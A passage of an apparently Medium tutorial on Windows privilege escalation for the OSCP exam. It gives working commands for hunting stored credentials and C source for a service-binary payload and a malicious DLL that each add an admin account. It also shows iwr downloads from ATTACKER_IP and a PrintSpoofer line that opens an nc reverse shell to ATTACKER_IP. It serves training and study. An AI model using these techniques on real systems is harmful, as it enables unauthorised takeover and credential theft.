&quot;HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*&quot; | select displayname<br>Get-ItemProperty &quot;HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*&quot; | select displayname</pre><p><strong>Running processes:</strong></p><pre>Get-Process | Select-Object Name, Id, Path<br>Get-CimInstance Win32_Process | Select Name, ProcessId, ExecutablePath</pre><blockquote><strong><em>Takeaway:</em></strong><em> Every subsequent technique in this article depends on information you gather here. A service you can hijack, a scheduled task you can overwrite, a credential file left on disk — none of it is visible until you enumerate properly.</em></blockquote><h3>2. Hidden in Plain View: Hunting for Sensitive Files</h3><p>Sysadmins are creatures of habit, and habit often means leaving credentials where they shouldn’t be. Once you know which applications are installed, search for their associated data and configuration files.</p><p><strong>Password manager databases:</strong></p><pre>Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue</pre><p><strong>Application configuration files</strong> (e.g., an XAMPP install):</p><pre>Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue<br>type C:\xampp\passwords.txt<br>type C:\xampp\mysql\bin\my.ini</pre><p><strong>Documents in user home directories:</strong></p><pre>Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue</pre><p>If you find a plaintext password for another local user, don’t stop at reading it — validate the account and pivot to it:</p><pre>net user backupadmin<br>runas /user:backupadmin cmd</pre><p>This alone can be the difference between a stuck box and full compromise — a plaintext credential handed to you by a careless config file is often faster than any exploit.</p><h3>3. The PowerShell Information Goldmine</h3><p>PowerShell logging, designed for defenders, is frequently an attacker’s best friend. Misconfigured or overly verbose logging can leak commands, and cached credentials can leak plaintext passwords.</p><p><strong>Command history:</strong></p><pre>Get-History<br>(Get-PSReadlineOption).HistorySavePath<br>type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt</pre><p><strong>Script Block Logging</strong> — if enabled, Event ID 4104 can reveal full command-line arguments, including credentials passed in plaintext:</p><pre>Get-WinEvent -FilterHashtable @{LogName=&quot;Microsoft-Windows-PowerShell/Operational&quot;; Id=4104} | Format-List Message</pre><p><strong>Saved credentials via </strong><strong>cmdkey:</strong></p><pre>cmdkey /list</pre><p>If a saved credential is listed for another user, you can reuse it directly:</p><pre>runas /user:DOMAIN\mike.katz /savecred &quot;cmd.exe&quot;</pre><p><strong>Web application configs</strong> — IIS servers often store database connection strings in cleartext:</p><pre>type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString</pre><p><strong>PuTTY saved sessions</strong> can also leak proxy credentials via the registry:</p><pre>reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f &quot;Proxy&quot; /s</pre><blockquote><em>If shells like RDP or a direct </em><em>cmd.exe session feel unstable, </em><em>evil-winrm is a reliable alternative for maintaining an interactive foothold while you enumerate.</em></blockquote><h3>4. Service Binary Hijacking</h3><p>Windows services often run as SYSTEM. If you can write to the executable a service points to, you can replace it — and the next time the service starts, your code runs with that service&#39;s privileges.</p><p><strong>Step 1 — Enumerate services and their binary paths:</strong></p><pre>Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like &#39;Running&#39;}</pre><p><strong>Step 2 — Check write permissions with </strong><strong>icacls:</strong></p><pre>icacls &quot;C:\xampp\mysql\bin\mysqld.exe&quot;</pre><p>Mask Permission F Full access M Modify access RX Read and execute R Read-only W Write-only</p><p>If your user (or a group you belong to) has F or M, the service binary is a viable target.</p><p><strong>Step 3 — Build a payload.</strong> A minimal C payload that adds a new local admin is enough for most labs:</p><pre>#include &lt;stdlib.h&gt;</pre><pre>int main() {<br>  system(&quot;net user pwnadmin Password123! /add&quot;);<br>  system(&quot;net localgroup administrators pwnadmin /add&quot;);<br>  return 0;<br>}</pre><p>Cross-compile from Kali:</p><pre>x86_64-w64-mingw32-gcc adduser.c -o adduser.exe</pre><p><strong>Step 4 — Back up the original, then replace it:</strong></p><pre>move C:\xampp\mysql\bin\mysqld.exe mysqld.exe.bak<br>move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe</pre><p><strong>Step 5 — Trigger execution.</strong> If you can stop/start the service directly:</p><pre>net stop mysql<br>net start mysql</pre><p>If you lack permission to control the service but its Startup Type is Automatic, a reboot achieves the same result:</p><pre>Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like &#39;mysql&#39;}<br>shutdown /r /t 0</pre><p><strong>Automate the discovery</strong> with PowerUp.ps1’s Get-ModifiableServiceFile, which flags exactly this misconfiguration without manual icacls checking of every service.</p><h3>5. Unquoted Service Paths</h3><p>This is a classic, exam-favorite misconfiguration. When a service’s binary path contains spaces and isn’t wrapped in quotes, Windows doesn’t know where the executable name ends.</p><p>Given this unquoted path:</p><pre>C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe</pre><p>Windows will try, in order:</p><ol><li>C:\Program.exe</li><li>C:\Program Files\Enterprise.exe</li><li>C:\Program Files\Enterprise Apps\Current.exe ← <em>if you can write here, this wins</em></li><li>The actual GammaServ.exe</li></ol><p><strong>All four conditions must hold</strong> for this to be exploitable:</p><ul><li>The path contains unescaped spaces</li><li>The path is not quoted</li><li>The service runs with elevated privileges</li><li>You have write access to one of the intermediate folders</li></ul><p><strong>Find candidates:</strong></p><pre>Get-CimInstance -ClassName win32_service | Select Name,State,PathName</pre><p><strong>Verify write access:</strong></p><pre>icacls &quot;C:\Program Files\Enterprise Apps&quot;</pre><p><strong>Craft and place the malicious binary</strong> — naming it correctly is critical. For the path above, the file must be named Current.exe, placed directly inside Enterprise Apps\:</p><pre>copy .\adduser.exe &#39;C:\Program Files\Enterprise Apps\Current.exe&#39;<br>Start-Service GammaService</pre><p>PowerUp’s Get-UnquotedService and Write-ServiceBinary automate detection and exploitation of this exact pattern.</p><h3>6. Scheduled Task Abuse</h3><p>A scheduled task is exploitable when it:</p><ul><li>Runs as SYSTEM (or another privileged account)</li><li>Executes a script or binary</li><li>Points to a file you can overwrite</li></ul><p><strong>Enumerate:</strong></p><pre>schtasks /query /fo LIST /v<br>Get-ScheduledTask</pre><p>Look for tasks with a defined Task To Run path, then check permissions on that target:</p><pre>icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe</pre><p>If your user has write access, swap the file:</p><pre>move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak<br>move .\adduser.exe .\Pictures\BackendCacheCleanup.exe</pre><p>Then simply wait for the task’s schedule to trigger — no manual restart needed, which makes this technique especially stealthy.</p><h3>7. DLL Hijacking</h3><p>When an application loads a DLL without specifying its full path, Windows searches a defined <strong>DLL search order</strong>. If a directory earlier in that order is writable by you, and the expected DLL is missing, you can plant your own.</p><p><strong>All conditions must be true:</strong></p><ul><li>The application loads a DLL without an absolute path</li><li>The DLL doesn’t already exist at that location</li><li>A writable directory sits in the search order</li><li>The application runs with elevated privileges</li></ul><p>A well-documented real-world example is FileZilla FTP Client, which historically attempted to load TextShaping.dll from its own installation directory — a directory often writable by standard users.</p><p><strong>Malicious DLL skeleton</strong> (executes on load via DLL_PROCESS_ATTACH):</p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdlib.h&gt;</pre><pre>BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID reserved) {<br>    if (reason == DLL_PROCESS_ATTACH) {<br>        system(&quot;net user pwnadmin Password123! /add&quot;);<br>        system(&quot;net localgroup administrators pwnadmin /add&quot;);<br>    }<br>    return TRUE;<br>}</pre><p>Compile as a shared library and drop it in place:</p><pre>x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll</pre><pre>iwr -uri http://ATTACKER_IP/TextShaping.dll -OutFile &#39;C:\FileZilla\FileZilla FTP Client\TextShaping.dll&#39;</pre><p>The catch: your payload only runs with the privileges of whoever <em>launches</em> the vulnerable application. This technique shines most when a privileged process or scheduled task starts the application automatically.</p><h3>8. Exploiting Known Vulnerabilities</h3><p>Sometimes the fastest path to SYSTEM isn’t a misconfiguration — it’s an unpatched kernel or service vulnerability.</p><p><strong>Check the patch baseline first:</strong></p><pre>systeminfo<br>Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq &quot;Security Update&quot; }</pre><p>Cross-reference missing KBs against public CVEs (e.g., CVE-2023-29360) to identify a viable kernel exploit.</p><p><strong>The </strong><strong>SeImpersonatePrivilege shortcut.</strong> If whoami /priv shows this privilege enabled — extremely common for service accounts — tools from the &quot;Potato&quot; family (PrintSpoofer, SigmaPotato, GodPotato, JuicyPotato, RottenPotato) let you coerce a SYSTEM-level authentication and hijack it.</p><p><strong>PrintSpoofer walkthrough:</strong></p><pre>whoami /priv</pre><p>Confirm the print spooler service is alive:</p><pre>ps | findstr spoolsv</pre><p>Upload the tool and pop a SYSTEM shell:</p><pre>.\PrintSpoofer64.exe -c &quot;nc64.exe ATTACKER_IP 9999 -e powershell&quot;</pre><pre>nc -nlvp 9999</pre><p>Once you have that shell:</p><pre>net localgroup Administrators victim.user /add</pre><p>This single privilege — SeImpersonatePrivilege — accounts for a disproportionate number of &quot;easy&quot; SYSTEM shells on the OSCP exam and in real environments. Learn it well.</p><h3>9. Don’t Skip Automation — But Don’t Rely on It Either</h3><p>Tools like <strong>WinPEAS</strong> automate almost everything above and flag misconfigurations you might miss manually:</p><pre>iwr -uri http://ATTACKER_IP/winPEASx64.exe -Outfile winPEAS.exe<br>.\winPEAS.exe</pre><p>WinPEAS is excellent for a first pass and for catching things you overlooked. But on the OSCP exam, blindly running automated tools without understanding <em>why</em> a finding matters will cost you time you don’t have. Use it to confirm your manual enumeration, not replace it.</p><h3>Building Your Own Privilege Escalation Checklist</h3><p>Every technique above maps to a repeatable question:</p><ol><li><strong>Who am I, and what can I already do?</strong> → whoami /priv, group memberships</li><li><strong>What’s installed, and does it leak anything?</strong> → sensitive files, configs, PowerShell logs</li><li><strong>What runs with higher privileges than me, and can I touch it?</strong> → services, scheduled tasks, DLL search paths</li><li><strong>Is the box simply unpatched?</strong> → kernel exploits, SeImpersonatePrivilege abuse</li><li><strong>Did I miss anything?</strong> → WinPEAS as a final sanity check</li></ol><p>Run through these five questions on every Windows target, in order, and you’ll rarely walk away without at least one viable escalation path.</p><h3>Final Thoughts</h3><p>Windows privilege escalation is less about clever exploits and more about disciplined enumeration. The techniques covered here — situational awareness, sensitive file hunting, PowerShell log abuse, service binary and unquoted path hijacking, scheduled task manipulation, DLL hijacking, and known-exploit abuse — form the backbone of nearly every Windows privesc path you’ll encounter on the OSCP exam.</p><p>Practice each of these in a lab environment until the commands become muscle memory. On exam day, you won’t have time to look up syntax — you’ll need to recognize the misconfiguration and execute the fix in minutes, not hours.</p><p>Good luck, and happy hacking.</p><p><em>I’m Foysal, a Senior Consultant at EY and an OSCP+ / OSCP certified professional. If this guide helped you, follow me for more OSCP and offensive security write-ups — Active Directory attack paths, lateral movement techniques, and exam strategy are coming next. Feel free to connect and share your own privilege escalation tips in the comments.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81313971d508" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>